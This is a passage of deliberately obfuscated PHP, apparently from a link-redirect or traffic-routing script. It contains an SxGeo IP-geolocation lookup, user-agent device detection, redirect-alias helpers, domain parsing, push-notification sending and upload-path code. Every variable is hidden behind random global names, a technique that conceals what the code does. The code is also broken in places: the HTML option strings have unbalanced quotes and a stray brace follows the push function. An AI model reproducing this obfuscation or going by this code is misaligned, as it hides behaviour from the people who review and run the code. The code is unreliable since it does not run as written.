search_idx($ipn,$min,$max){$anqjgbkb="min";if($this->batch_mode){${"GLOBALS"}["pmrlnem"]="ipn";$ecnxdahkyg="max";${"GLOBALS"}["fjsuekejwa"]="min";$injakokslhd="min";while(${${"GLOBALS"}["kbeumfntw"]}-${${"GLOBALS"}["fjsuekejwa"]}>8){$gouxoqrmn="offset";${"GLOBALS"}["thjgueuxwgqv"]="max";$czdepu="offset";$mzcixweib="offset";${"GLOBALS"}["lrdtgrkbd"]="ipn";${$mzcixweib}=(${${"GLOBALS"}["qpysvkmsmjsl"]}+${${"GLOBALS"}["thjgueuxwgqv"]})>>1;$jsiwke="max";if(${${"GLOBALS"}["lrdtgrkbd"]}>$this->m_idx_arr[${${"GLOBALS"}["pgrrcocusy"]}])${${"GLOBALS"}["qpysvkmsmjsl"]}=${$czdepu};else${$jsiwke}=${$gouxoqrmn};}while(${${"GLOBALS"}["pmrlnem"]}>$this->m_idx_arr[${$injakokslhd}]&&${${"GLOBALS"}["qpysvkmsmjsl"]}++<${$ecnxdahkyg}){};}else{${"GLOBALS"}["nxqsggx"]="max";$fcisloazvbof="ipn";$trppcrmj="min";while(${${"GLOBALS"}["kbeumfntw"]}-${$trppcrmj}>8){$eetsrpt="offset";${"GLOBALS"}["rcrfiut"]="max";$pgzeltdtu="offset";${"GLOBALS"}["chtblb"]="min";$czjxjvnsfx="min";${${"GLOBALS"}["pgrrcocusy"]}=(${${"GLOBALS"}["chtblb"]}+${${"GLOBALS"}["rcrfiut"]})>>1;$xqilhiqwi="offset";if(${${"GLOBALS"}["mqbpetvxqhqy"]}>substr($this->m_idx_str,${$eetsrpt}*4,4))${$czjxjvnsfx}=${$pgzeltdtu};else${${"GLOBALS"}["kbeumfntw"]}=${$xqilhiqwi};}while(${$fcisloazvbof}>substr($this->m_idx_str,${${"GLOBALS"}["qpysvkmsmjsl"]}*4,4)&&${${"GLOBALS"}["qpysvkmsmjsl"]}++<${${"GLOBALS"}["nxqsggx"]}){};}return${$anqjgbkb};}protected function search_db($str,$ipn,$min,$max){${"GLOBALS"}["neudvuoqjja"]="max";$uwgpkv="str";if(${${"GLOBALS"}["neudvuoqjja"]}-${${"GLOBALS"}["qpysvkmsmjsl"]}>1){${"GLOBALS"}["apechrua"]="min";$lxmamrmkmt="ipn";$chrpwdec="max";${"GLOBALS"}["xgowfgx"]="ipn";$avkhou="str";${"GLOBALS"}["opwgjr"]="ipn";${${"GLOBALS"}["opwgjr"]}=substr(${${"GLOBALS"}["xgowfgx"]},1);while(${${"GLOBALS"}["kbeumfntw"]}-${${"GLOBALS"}["qpysvkmsmjsl"]}>8){$oevvcumi="str";${"GLOBALS"}["vhskctc"]="max";$uyeshmwyqe="ipn";${"GLOBALS"}["pxmrpdxi"]="max";${${"GLOBALS"}["pgrrcocusy"]}=(${${"GLOBALS"}["qpysvkmsmjsl"]}+${${"GLOBALS"}["vhskctc"]})>>1;$mlvvggqvxrpw="offset";$pmkwxvbxqri="offset";if(${$uyeshmwyqe}>substr(${$oevvcumi},${$mlvvggqvxrpw}*$this->block_len,3))${${"GLOBALS"}["qpysvkmsmjsl"]}=${$pmkwxvbxqri};else${${"GLOBALS"}["pxmrpdxi"]}=${${"GLOBALS"}["pgrrcocusy"]};}while(${$lxmamrmkmt}>=substr(${$avkhou},${${"GLOBALS"}["apechrua"]}*$this->block_len,3)&&++${${"GLOBALS"}["qpysvkmsmjsl"]}<${$chrpwdec}){};}else{${"GLOBALS"}["nkxvube"]="min";${${"GLOBALS"}["nkxvube"]}++;}return hexdec(bin2hex(substr(${$uwgpkv},${${"GLOBALS"}["qpysvkmsmjsl"]}*$this->block_len-$this->id_len,$this->id_len)));}public function get_num($ip){$bunylslfdrug="ip1n";${"GLOBALS"}["ouoxqsh"]="ip1n";$mtccyhs="ip1n";${"GLOBALS"}["oyjahnkgjrx"]="ip1n";${$bunylslfdrug}=(int)${${"GLOBALS"}["fbbmgwhl"]};$hqqqxyua="ipn";if(${${"GLOBALS"}["pxnmqcdg"]}==0||${$mtccyhs}==10||${${"GLOBALS"}["ouoxqsh"]}==127||${${"GLOBALS"}["oyjahnkgjrx"]}>=$this->b_idx_len||false===(${${"GLOBALS"}["mqbpetvxqhqy"]}=ip2long(${${"GLOBALS"}["fbbmgwhl"]})))return false;${${"GLOBALS"}["mqbpetvxqhqy"]}=pack("N",${$hqqqxyua});$this->ip1c=chr(${${"GLOBALS"}["pxnmqcdg"]});${"GLOBALS"}["teklgyyn"]="len";if($this->batch_mode){${"GLOBALS"}["bwtqrqf"]="ip1n";${"GLOBALS"}["zzjvgq"]="blocks";${${"GLOBALS"}["zzjvgq"]}=array("min"=>$this->b_idx_arr[${${"GLOBALS"}["bwtqrqf"]}-1],"max"=>$this->b_idx_arr[${${"GLOBALS"}["pxnmqcdg"]}]);}else{$gjghyyuhph="blocks";${$gjghyyuhph}=unpack("Nmin/Nmax",substr($this->b_idx_str,(${${"GLOBALS"}["pxnmqcdg"]}-1)*4,8));}if(${${"GLOBALS"}["rrsscereh"]}["max"]-${${"GLOBALS"}["rrsscereh"]}["min"]>$this->range){${"GLOBALS"}["biavcls"]="blocks";$iubrfhky="max";$pmnpqxh="ipn";$fioemredx="part";${"GLOBALS"}["epggojot"]="part";$ujrhor="blocks";${${"GLOBALS"}["epggojot"]}=$this->search_idx(${$pmnpqxh},floor(${${"GLOBALS"}["rrsscereh"]}["min"]/$this->range),floor(${${"GLOBALS"}["rrsscereh"]}["max"]/$this->range)-1);${${"GLOBALS"}["qpysvkmsmjsl"]}=${${"GLOBALS"}["uoeuougmrz"]}>0?${$fioemredx}*$this->range:0;${"GLOBALS"}["bkwfuighdue"]="part";${"GLOBALS"}["emcacdk"]="blocks";${$iubrfhky}=${${"GLOBALS"}["bkwfuighdue"]}>$this->m_idx_len?$this->db_items:(${${"GLOBALS"}["uoeuougmrz"]}+1)*$this->range;${"GLOBALS"}["babvxgfyku"]="max";if(${${"GLOBALS"}["qpysvkmsmjsl"]}<${${"GLOBALS"}["biavcls"]}["min"])${${"GLOBALS"}["qpysvkmsmjsl"]}=${$ujrhor}["min"];if(${${"GLOBALS"}["babvxgfyku"]}>${${"GLOBALS"}["rrsscereh"]}["max"])${${"GLOBALS"}["kbeumfntw"]}=${${"GLOBALS"}["emcacdk"]}["max"];}else{${"GLOBALS"}["mqpokskwz"]="min";${"GLOBALS"}["tmhsgkcoo"]="blocks";${"GLOBALS"}["kvedcs"]="blocks";${${"GLOBALS"}["mqpokskwz"]}=${${"GLOBALS"}["kvedcs"]}["min"];${${"GLOBALS"}["kbeumfntw"]}=${${"GLOBALS"}["tmhsgkcoo"]}["max"];}${${"GLOBALS"}["teklgyyn"]}=${${"GLOBALS"}["kbeumfntw"]}-${${"GLOBALS"}["qpysvkmsmjsl"]};if($this->memory_mode){$covigwwt="ipn";return$this->search_db($this->db,${$covigwwt},${${"GLOBALS"}["qpysvkmsmjsl"]},${${"GLOBALS"}["kbeumfntw"]});}else{${"GLOBALS"}["flsbfbq"]="len";${"GLOBALS"}["kimxatpoutju"]="ipn";fseek($this->fh,$this->db_begin+${${"GLOBALS"}["qpysvkmsmjsl"]}*$this->block_len);return$this->search_db(fread($this->fh,${${"GLOBALS"}["flsbfbq"]}*$this->block_len),${${"GLOBALS"}["kimxatpoutju"]},0,${${"GLOBALS"}["novnizni"]});}}protected function readData($seek,$max,$type){${"GLOBALS"}["uqorwo"]="seek";${"GLOBALS"}["bqgfobsqgkh"]="max";${"GLOBALS"}["fllaecytj"]="type";$xvjmjvcprk="raw";${"GLOBALS"}["vmioioensjh"]="raw";${$xvjmjvcprk}="";if(${${"GLOBALS"}["uqorwo"]}&&${${"GLOBALS"}["bqgfobsqgkh"]}){if($this->memory_mode){${"GLOBALS"}["ndwycrxitc"]="max";${${"GLOBALS"}["ipfvav"]}=substr(${${"GLOBALS"}["laycjvc"]}==1?$this->regions_db:$this->cities_db,${${"GLOBALS"}["slqdfd"]},${${"GLOBALS"}["ndwycrxitc"]});}else{$lvxwgjywmsy="seek";fseek($this->fh,$this->info[${${"GLOBALS"}["laycjvc"]}==1?"regions_begin":"cities_begin"]+${$lvxwgjywmsy});${${"GLOBALS"}["ipfvav"]}=fread($this->fh,${${"GLOBALS"}["kbeumfntw"]});}}return$this->unpack($this->pack[${${"GLOBALS"}["fllaecytj"]}],${${"GLOBALS"}["vmioioensjh"]});}protected function parseCity($seek,$full=false){$iyrrnluc="seek";if(!$this->pack)return false;${"GLOBALS"}["zvzytxj"]="only_country";${${"GLOBALS"}["zvzytxj"]}=false;if(${$iyrrnluc}<$this->country_size){${"GLOBALS"}["qxkfkesmlfd"]="country";${"GLOBALS"}["pmbugrov"]="country";${"GLOBALS"}["kwohnpiqtox"]="city";$veqmofngirvd="country";${"GLOBALS"}["rdwkdzbm"]="city";${$veqmofngirvd}=$this->readData(${${"GLOBALS"}["slqdfd"]},$this->max_country,0);${"GLOBALS"}["mhklwkcsszcz"]="city";${${"GLOBALS"}["kwohnpiqtox"]}=$this->unpack($this->pack[2]);${${"GLOBALS"}["mhklwkcsszcz"]}["lat"]=${${"GLOBALS"}["qxkfkesmlfd"]}["lat"];${${"GLOBALS"}["rdwkdzbm"]}["lon"]=${${"GLOBALS"}["pmbugrov"]}["lon"];${${"GLOBALS"}["vpigsnaby"]}=true;}else{${"GLOBALS"}["lnwufiinslxn"]="city";${${"GLOBALS"}["hqnqggzcj"]}=$this->readData(${${"GLOBALS"}["slqdfd"]},$this->max_city,2);${"GLOBALS"}["rehhvtjxu"]="city";${${"GLOBALS"}["xwzyqtc"]}=array("id"=>${${"GLOBALS"}["rehhvtjxu"]}["country_id"],"iso"=>$this->id2iso[${${"GLOBALS"}["lnwufiinslxn"]}["country_id"]]);unset(${${"GLOBALS"}["hqnqggzcj"]}["country_id"]);}if(${${"GLOBALS"}["csfwoyhlqy"]}){${"GLOBALS"}["nvrjjepobxk"]="region";${"GLOBALS"}["sdlwynr"]="region";${"GLOBALS"}["sriesjuescrg"]="city";${${"GLOBALS"}["nvrjjepobxk"]}=$this->readData(${${"GLOBALS"}["sriesjuescrg"]}["region_seek"],$this->max_region,1);${"GLOBALS"}["zmbqdnm"]="city";${"GLOBALS"}["nmikoofiibhh"]="region";if(!${${"GLOBALS"}["vpigsnaby"]})${${"GLOBALS"}["xwzyqtc"]}=$this->readData(${${"GLOBALS"}["nmikoofiibhh"]}["country_seek"],$this->max_country,0);unset(${${"GLOBALS"}["zmbqdnm"]}["region_seek"]);unset(${${"GLOBALS"}["sdlwynr"]}["country_seek"]);return array("city"=>${${"GLOBALS"}["hqnqggzcj"]},"region"=>${${"GLOBALS"}["kjjniuzvfikc"]},"country"=>${${"GLOBALS"}["xwzyqtc"]});}else{${"GLOBALS"}["erjmotw"]="city";$hdvhzfzarq="country";unset(${${"GLOBALS"}["hqnqggzcj"]}["region_seek"]);return array("city"=>${${"GLOBALS"}["erjmotw"]},"country"=>array("id"=>${$hdvhzfzarq}["id"],"iso"=>${${"GLOBALS"}["xwzyqtc"]}["iso"]));}}protected function unpack($pack,$item=''){$warwcxl="unpacked";${"GLOBALS"}["gvqrponjjt"]="p";$xvvjkgxbdhz="item";$ekuejvyuxhc="pos";${"GLOBALS"}["jwpwmbwfugp"]="empty";${"GLOBALS"}["giqepvwxjsy"]="pack";${$warwcxl}=array();${${"GLOBALS"}["jwpwmbwfugp"]}=empty(${$xvvjkgxbdhz});${${"GLOBALS"}["giqepvwxjsy"]}=explode("/",${${"GLOBALS"}["umsyhfw"]});${$ekuejvyuxhc}=0;foreach(${${"GLOBALS"}["umsyhfw"]} AS${${"GLOBALS"}["gvqrponjjt"]}){${"GLOBALS"}["gcflkynmy"]="val";$ieeytbhxbq="type0";${"GLOBALS"}["tqeiychwuw"]="v";$bwpxmnia="l";$xktckhvosfx="val";$xzdgkluz="v";$zcgqlxlggj="l";$imhwbiy="type";$vjdibvsi="v";${"GLOBALS"}["dxlbogh"]="type";$dqngjqcjgja="v";$ybjtmkcixifg="v";${"GLOBALS"}["dfwefwacwdsb"]="type";${"GLOBALS"}["toeksypxb"]="l";${"GLOBALS"}["cwqfjwdtt"]="item";$qkbknctc="pos";${"GLOBALS"}["jklotsppxmse"]="unpacked";$xmdcxsob="val";${"GLOBALS"}["ihhtthd"]="val";${"GLOBALS"}["eynaeffdxe"]="v";${"GLOBALS"}["khzuiajtyu"]="l";$bwlkxuhhid="l";$earhksk="item";$vkrdgijyram="type0";$rnrlkvymwsz="v";$jbbqvwbh="val";list(${${"GLOBALS"}["dxlbogh"]},${${"GLOBALS"}["phnwnfgopg"]})=explode(":",${${"GLOBALS"}["riluqbh"]});${$ieeytbhxbq}=${${"GLOBALS"}["laycjvc"]}{0};$ehellawzd="pos";${"GLOBALS"}["vflirniuw"]="val";$hyjucfgqhhb="l";${"GLOBALS"}["dlygphyjcit"]="val";${"GLOBALS"}["suukmrbb"]="l";if(${${"GLOBALS"}["utayrbdx"]}){$uigfkvitd="type0";$fnmvahkifi="unpacked";${$fnmvahkifi}[${${"GLOBALS"}["phnwnfgopg"]}]=${$uigfkvitd}=="b"||${${"GLOBALS"}["bnhmhgmvosff"]}=="c"?"":0;continue;}switch(${${"GLOBALS"}["bnhmhgmvosff"]}){case"t":case"T":${${"GLOBALS"}["nuktuhu"]}=1;break;case"s":case"n":case"S":${${"GLOBALS"}["suukmrbb"]}=2;break;case"m":case"M":${${"GLOBALS"}["toeksypxb"]}=3;break;case"d":${$bwpxmnia}=8;break;case"c":${${"GLOBALS"}["khzuiajtyu"]}=(int)substr(${$imhwbiy},1);break;case"b":${${"GLOBALS"}["nuktuhu"]}=strpos(${$earhksk},"",${${"GLOBALS"}["gqbsuee"]})-${$qkbknctc};break;default:${${"GLOBALS"}["nuktuhu"]}=4;}${${"GLOBALS"}["sjsodkstu"]}=substr(${${"GLOBALS"}["cwqfjwdtt"]},${${"GLOBALS"}["gqbsuee"]},${$hyjucfgqhhb});$fdairwkrkrr="val";switch(${$vkrdgijyram}){case"t":${$rnrlkvymwsz}=unpack("c",${$fdairwkrkrr});break;case"T":${${"GLOBALS"}["rcmxirvpd"]}=unpack("C",${${"GLOBALS"}["sjsodkstu"]});break;case"s":${${"GLOBALS"}["rcmxirvpd"]}=unpack("s",${${"GLOBALS"}["ihhtthd"]});break;case"S":${$ybjtmkcixifg}=unpack("S",${$jbbqvwbh});break;case"m":${$xzdgkluz}=unpack("l",${$xktckhvosfx}.(ord(${${"GLOBALS"}["sjsodkstu"]}{2})>>7?"":""));break;case"M":${${"GLOBALS"}["rcmxirvpd"]}=unpack("L",${${"GLOBALS"}["dlygphyjcit"]}."");break;case"i":${$dqngjqcjgja}=unpack("l",${$xmdcxsob});break;case"I":${${"GLOBALS"}["rcmxirvpd"]}=unpack("L",${${"GLOBALS"}["vflirniuw"]});break;case"f":${${"GLOBALS"}["rcmxirvpd"]}=unpack("f",${${"GLOBALS"}["sjsodkstu"]});break;case"d":${${"GLOBALS"}["rcmxirvpd"]}=unpack("d",${${"GLOBALS"}["sjsodkstu"]});break;case"n":${$vjdibvsi}=current(unpack("s",${${"GLOBALS"}["gcflkynmy"]}))/pow(10,${${"GLOBALS"}["dfwefwacwdsb"]}{1});break;case"N":${${"GLOBALS"}["rcmxirvpd"]}=current(unpack("l",${${"GLOBALS"}["sjsodkstu"]}))/pow(10,${${"GLOBALS"}["laycjvc"]}{1});break;case"c":${${"GLOBALS"}["tqeiychwuw"]}=rtrim(${${"GLOBALS"}["sjsodkstu"]}," ");break;case"b":${${"GLOBALS"}["rcmxirvpd"]}=${${"GLOBALS"}["sjsodkstu"]};${$bwlkxuhhid}++;break;}${$ehellawzd}+=${$zcgqlxlggj};${${"GLOBALS"}["jklotsppxmse"]}[${${"GLOBALS"}["phnwnfgopg"]}]=is_array(${${"GLOBALS"}["eynaeffdxe"]})?current(${${"GLOBALS"}["rcmxirvpd"]}):${${"GLOBALS"}["rcmxirvpd"]};}return${${"GLOBALS"}["qtdevyngb"]};}public function get($ip){return$this->max_city?$this->getCity(${${"GLOBALS"}["fbbmgwhl"]}):$this->getCountry(${${"GLOBALS"}["fbbmgwhl"]});}public function getCountry($ip){${"GLOBALS"}["bbedgf"]="ip";if($this->max_city){${${"GLOBALS"}["vpfqyvqwjs"]}=$this->parseCity($this->get_num(${${"GLOBALS"}["fbbmgwhl"]}));return${${"GLOBALS"}["vpfqyvqwjs"]}["country"]["iso"];}else return$this->id2iso[$this->get_num(${${"GLOBALS"}["bbedgf"]})];}public function getCountryId($ip){$jdgvdssnxl="ip";if($this->max_city){$sesknpfocwe="tmp";${$sesknpfocwe}=$this->parseCity($this->get_num(${${"GLOBALS"}["fbbmgwhl"]}));return${${"GLOBALS"}["vpfqyvqwjs"]}["country"]["id"];}else return$this->get_num(${$jdgvdssnxl});}public function getCity($ip){$lhoxqejbrhzu="seek";${"GLOBALS"}["ceehqv"]="ip";${${"GLOBALS"}["slqdfd"]}=$this->get_num(${${"GLOBALS"}["ceehqv"]});return${${"GLOBALS"}["slqdfd"]}?$this->parseCity(${$lhoxqejbrhzu}):false;}public function getCityFull($ip){$qgcdblraow="ip";${"GLOBALS"}["hzfjchlrrl"]="seek";${"GLOBALS"}["djlpvak"]="seek";$dkkzxjbuu="seek";${${"GLOBALS"}["hzfjchlrrl"]}=$this->get_num(${$qgcdblraow});return${$dkkzxjbuu}?$this->parseCity(${${"GLOBALS"}["djlpvak"]},1):false;}public function about(){${"GLOBALS"}["pkchlvkhrtr"]="charset";$ujcgmbciomk="types";$estjth="charset";${"GLOBALS"}["tokucbuygn"]="types";${${"GLOBALS"}["pkchlvkhrtr"]}=array("utf-8","latin1","cp1251");${$ujcgmbciomk}=array("n/a","SxGeo Country","SxGeo City RU","SxGeo City EN","SxGeo City","SxGeo City Max RU","SxGeo City Max EN","SxGeo City Max");return array("Created"=>date("Y.m.d",$this->info["time"]),"Timestamp"=>$this->info["time"],"Charset"=>${$estjth}[$this->info["charset"]],"Type"=>${${"GLOBALS"}["tokucbuygn"]}[$this->info["type"]],"Byte Index"=>$this->b_idx_len,"Main Index"=>$this->m_idx_len,"Blocks In Index Item"=>$this->range,"IP Blocks"=>$this->db_items,"Block Size"=>$this->block_len,"City"=>array("Max Length"=>$this->max_city,"Total Size"=>$this->info["city_size"],),"Region"=>array("Max Length"=>$this->max_region,"Total Size"=>$this->info["region_size"],),"Country"=>array("Max Length"=>$this->max_country,"Total Size"=>$this->info["country_size"],),);}}function safeString($string){$nbyofzd="string";${${"GLOBALS"}["wwppzzshdv"]}=trim(${$nbyofzd});${${"GLOBALS"}["wwppzzshdv"]}=htmlspecialchars(${${"GLOBALS"}["wwppzzshdv"]},ENT_COMPAT,"UTF-8");return${${"GLOBALS"}["wwppzzshdv"]};}$frdzsd="_config";function getRedirect($url){@header("Location: ".${${"GLOBALS"}["jhedwlyii"]});exit();}function showAjax($callback,$data){$kjbiopsjkeih="callback";${"GLOBALS"}["wltrtwlsubvd"]="data";die(json_encode(array("callback"=>${$kjbiopsjkeih},"data"=>${${"GLOBALS"}["wltrtwlsubvd"]})));}function sxGeo($db='SxGeo'){$kqohhofsq="path";global$_config;${${"GLOBALS"}["owwrhlik"]}=${${"GLOBALS"}["rnsiuo"]}["root"]."/".${${"GLOBALS"}["owommygr"]}.".dat";if(file_exists(${$kqohhofsq})){$fixjxjat="path";${${"GLOBALS"}["fpobuyiof"]}=new SxGeo(${$fixjxjat});return$SxGeo->get($_SERVER["REMOTE_ADDR"]);}return null;}function is_desktop(){${"GLOBALS"}["xvifpac"]="useragent";${${"GLOBALS"}["ixopnskrlq"]}=$_SERVER["HTTP_USER_AGENT"];return stripos(${${"GLOBALS"}["ixopnskrlq"]},"mobile")===false&&stripos(${${"GLOBALS"}["ixopnskrlq"]},"tablet")===false&&stripos(${${"GLOBALS"}["xvifpac"]},"ipad")===false;}function is_tablet(){$qbewgdvspxsi="useragent";${$qbewgdvspxsi}=$_SERVER["HTTP_USER_AGENT"];return stripos(${${"GLOBALS"}["ixopnskrlq"]},"tablet")!==false||stripos(${${"GLOBALS"}["ixopnskrlq"]},"tab")!==false;}function is_ipad(){${${"GLOBALS"}["ixopnskrlq"]}=$_SERVER["HTTP_USER_AGENT"];return stripos(${${"GLOBALS"}["ixopnskrlq"]},"ipad")!==false;}function is_mobile(){${"GLOBALS"}["lqlskpygvqx"]="useragent";$rnloxnuxenu="useragent";${${"GLOBALS"}["ixopnskrlq"]}=$_SERVER["HTTP_USER_AGENT"];return stripos(${${"GLOBALS"}["lqlskpygvqx"]},"mobile")!==false||stripos(${${"GLOBALS"}["ixopnskrlq"]},"nokia")!==false||stripos(${$rnloxnuxenu},"phone")!==false;}function deviceVAL($mobileVAL='',$desktopVAL='',$tabletVAL='',$ipadVAL=''){if(is_desktop()){return${${"GLOBALS"}["gcuhorrsb"]};}else if(is_tablet()){$cfqnxn="tabletVAL";return${$cfqnxn};}else if(is_ipad()){${"GLOBALS"}["smitilbbtk"]="tabletVAL";return${${"GLOBALS"}["joflsnhpe"]}!=null?${${"GLOBALS"}["joflsnhpe"]}:${${"GLOBALS"}["smitilbbtk"]};}else if(is_mobile()){return${${"GLOBALS"}["nwhuhfwg"]};}}function errorIsset($array){foreach(${${"GLOBALS"}["lrcagdieaqd"]} as${${"GLOBALS"}["rcmxirvpd"]}){if(!is_null(${${"GLOBALS"}["rcmxirvpd"]})){return true;}}return false;}function getParams($url,$array=null){${${"GLOBALS"}["pekvmfamcfq"]}=$_GET;if(array_key_exists("page",${${"GLOBALS"}["pekvmfamcfq"]})){unset(${${"GLOBALS"}["pekvmfamcfq"]}["page"]);}${"GLOBALS"}["jnpxlnmsg"]="params";$tlvbwvr="url";${"GLOBALS"}["dcgpka"]="params";if(array_key_exists("route",${${"GLOBALS"}["dcgpka"]})){${"GLOBALS"}["wxjiuxcqnh"]="params";unset(${${"GLOBALS"}["wxjiuxcqnh"]}["route"]);}if(array_key_exists("rnd",${${"GLOBALS"}["pekvmfamcfq"]})){${"GLOBALS"}["nctrtltrzc"]="params";unset(${${"GLOBALS"}["nctrtltrzc"]}["rnd"]);}if(!empty(${${"GLOBALS"}["lrcagdieaqd"]})){${"GLOBALS"}["wqtxyk"]="params";${"GLOBALS"}["qkccnwwvx"]="array";${${"GLOBALS"}["pekvmfamcfq"]}=array_merge(${${"GLOBALS"}["wqtxyk"]},${${"GLOBALS"}["qkccnwwvx"]});}return${$tlvbwvr}.((!empty(${${"GLOBALS"}["jnpxlnmsg"]}))?"?".http_build_query(${${"GLOBALS"}["pekvmfamcfq"]}):null);}function selectList($object_id,$object_name,$name){${"GLOBALS"}["hwkyqtsih"]="rows";$qqykycryz="select";${"GLOBALS"}["txwbspm"]="number";$hgocqfp="name";${"GLOBALS"}["etegkdkkp"]="rows";$kpkntbiljxth="object_name";${"GLOBALS"}["drkeixvpjd"]="sql";$ilmdvtxvptw="object_name";${"GLOBALS"}["poxkbx"]="object_name";$joshxherdh="result";$meqioi="result";${${"GLOBALS"}["cqjdppukmox"]}="
SELECT
`".${$kpkntbiljxth}."_id`,
`".${${"GLOBALS"}["poxkbx"]}."_name`
FROM
`".${$ilmdvtxvptw}."`
";${"GLOBALS"}["ixsucbx"]="number";${$joshxherdh}=sqlQuery(${${"GLOBALS"}["drkeixvpjd"]});${${"GLOBALS"}["etegkdkkp"]}=sqlFetch(${$meqioi});${${"GLOBALS"}["ixsucbx"]}=sqlNumber(${${"GLOBALS"}["hwkyqtsih"]});${$qqykycryz}[]="<option value="0\"> </option>";if(${${"GLOBALS"}["txwbspm"]}>0){${"GLOBALS"}["ytpthrdbew"]="row";${"GLOBALS"}["wnhhbggpgt"]="rows";foreach(${${"GLOBALS"}["wnhhbggpgt"]} as${${"GLOBALS"}["ytpthrdbew"]}){$hsifpmly="row";${"GLOBALS"}["mkuqjwicty"]="row";${${"GLOBALS"}["crnxopw"]}[]="<option value="".${${"GLOBALS"}["mkuqjwicty"]}[0]."\" ".(${$hsifpmly}[0]==${${"GLOBALS"}["dczdtls"]}?"selected":null).">".${${"GLOBALS"}["xtgcztjjk"]}[1]."</option>";}}return"<select name=\"".${$hgocqfp}."" class=\"form-control\">".implode(${${"GLOBALS"}["crnxopw"]})."</select>";}function getRedirectAlias(){${"GLOBALS"}["xvtpfxekwqt"]="id";$ejbkhbv="sql";$vdmyhgo="rows";$kiswlreyt="id";$gluzomw="result";${${"GLOBALS"}["xvtpfxekwqt"]}=uniqid();${$ejbkhbv}="
SELECT
COUNT(*)
FROM
`redirect`
WHERE
`alias` = ".sqlEscape(${$kiswlreyt})."
LIMIT 1;
";${${"GLOBALS"}["ledihzdo"]}=sqlQuery(${${"GLOBALS"}["cqjdppukmox"]});${$vdmyhgo}=sqlFetch(${$gluzomw});if(!empty(${${"GLOBALS"}["wmfcrwweah"]}[0][0])){return getRedirectAlias();}return${${"GLOBALS"}["hxsgruyvff"]};}function extractDomain($Host,$Level=2,$IgnoreWWW=false){${"GLOBALS"}["pthsfpj"]="Parts";$hstvmtl="Parts";$kbibsaixqzn="Level";${${"GLOBALS"}["pthsfpj"]}=explode(".",$Host);$nodetlrxrqcc="Parts";if(${${"GLOBALS"}["rjbqllewrux"]} and${${"GLOBALS"}["wbqtovlsdni"]}[0]=="www")unset(${$hstvmtl}[0]);${"GLOBALS"}["wshohuga"]="Parts";${${"GLOBALS"}["wshohuga"]}=array_slice(${${"GLOBALS"}["wbqtovlsdni"]},-${$kbibsaixqzn});return implode(".",${$nodetlrxrqcc});}function friendlyURL($alias,$domain){global$_config;${"GLOBALS"}["ssuqnkwpn"]="domain";${"GLOBALS"}["aknfiheah"]="alias";${${"GLOBALS"}["sgqvimhrowht"]}="https://".${${"GLOBALS"}["ssuqnkwpn"]};return${${"GLOBALS"}["rnsiuo"]}["friendly_url"]?${${"GLOBALS"}["sgqvimhrowht"]}."/".${${"GLOBALS"}["aknfiheah"]}:${${"GLOBALS"}["sgqvimhrowht"]}.${${"GLOBALS"}["rnsiuo"]}["self"]."?".${${"GLOBALS"}["rnsiuo"]}["var"]."=".${${"GLOBALS"}["oatchbwueek"]};}function sendPushMessage($message,$tokens){$suvokpkz="token";global$_config;foreach(${${"GLOBALS"}["cumsuhg"]} as${$suvokpkz}){${"GLOBALS"}["qelkckjbdv"]="message";${"GLOBALS"}["ywmmbym"]="ch";${"GLOBALS"}["nwxgsoe"]="message";$sekoovqqb="ch";$vzhgpqw="ch";$brkvdlsxr="ch";${${"GLOBALS"}["adrpdvxsg"]}=array("data"=>array("title"=>${${"GLOBALS"}["ebwdrzhei"]}["title"],"body"=>${${"GLOBALS"}["nwxgsoe"]}["body"],"icon"=>${${"GLOBALS"}["ebwdrzhei"]}["icon"],"image"=>${${"GLOBALS"}["ebwdrzhei"]}["image"],"click_action"=>${${"GLOBALS"}["qelkckjbdv"]}["url"],),"registration_ids"=>${${"GLOBALS"}["mbebywmgij"]});${${"GLOBALS"}["vnhuipkcun"]}=["Content-Type: application/json","Authorization: key=".${${"GLOBALS"}["rnsiuo"]}["fcm_server_key"],];${${"GLOBALS"}["niyreab"]}=curl_init();curl_setopt(${${"GLOBALS"}["niyreab"]},CURLOPT_URL,"https://fcm.googleapis.com/fcm/send");curl_setopt(${$vzhgpqw},CURLOPT_CUSTOMREQUEST,"POST");curl_setopt(${$brkvdlsxr},CURLOPT_HTTPHEADER,${${"GLOBALS"}["vnhuipkcun"]});curl_setopt(${${"GLOBALS"}["niyreab"]},CURLOPT_POSTFIELDS,json_encode(${${"GLOBALS"}["adrpdvxsg"]}));curl_setopt(${$sekoovqqb},CURLOPT_RETURNTRANSFER,true);curl_setopt(${${"GLOBALS"}["niyreab"]},CURLOPT_FOLLOWLOCATION,true);${${"GLOBALS"}["cgcvmhgbw"]}=curl_exec(${${"GLOBALS"}["ywmmbym"]});curl_close(${${"GLOBALS"}["niyreab"]});return${${"GLOBALS"}["cgcvmhgbw"]};}}function makeImagePath($ext){${"GLOBALS"}["rxkuzwemc"]="path";${"GLOBALS"}["wdytjklklv"]="md5";$jitidnuodjz="path";${"GLOBALS"}["sifuigygl"]="_config";$xjvzuic="path";$ypmjhtabwuhk="name";$rjbiukdcir="md5";global$_config;$foivlepp="path";${$rjbiukdcir}=md5(microtime());${${"GLOBALS"}["rxkuzwemc"]}=substr(${${"GLOBALS"}["sxkwtqvxnn"]},0,6);${${"GLOBALS"}["owwrhlik"]}=chunk_split(${${"GLOBALS"}["owwrhlik"]},2,"/");${${"GLOBALS"}["phnwnfgopg"]}=substr(${${"GLOBALS"}["wdytjklklv"]},7,6).".".${${"GLOBALS"}["hxlxuxt"]};if(file_exists(${${"GLOBALS"}["sifuigygl"]}["root"]."/upload/".${$xjvzuic}.${$ypmjhtabwuhk})){$vnkfqukmpw="ext";return makeImagePath(${$vnkfqukmpw});}if(!is_dir(${${"GLOBALS"}["rnsiuo"]}["root"]."/upload/".${$foivlepp})){$xmgmetulctim="path";@mkdir(${${"GLOBALS"}["rnsiuo"]}["root"]."/upload/".${$xmgmetulctim},0755,true);}return${$jitidnuodjz}.${${"GLOBALS"}["phnwnfgopg"]};}function getMimeType($link){$jwuurbf="finfo";${"GLOBALS"}["mityyfxfks"]="link";${$jwuurbf}=finfo_open(FILEINFO_MIME_TYPE);${"GLOBALS"}["maqohtwfpmf"]="mime";$mnxlpzsri="finfo";${${"GLOBALS"}["maqohtwfpmf"]}=finfo_file(${${"GLOBALS"}["lyslsksr"]},${${"GLOBALS"}["mityyfxfks"]});finfo_close(${$mnxlpzsri});return${${"GLOBALS"}["qgugihinm"]};}${"GLOBALS"}["wrrdnml"]="_config";function 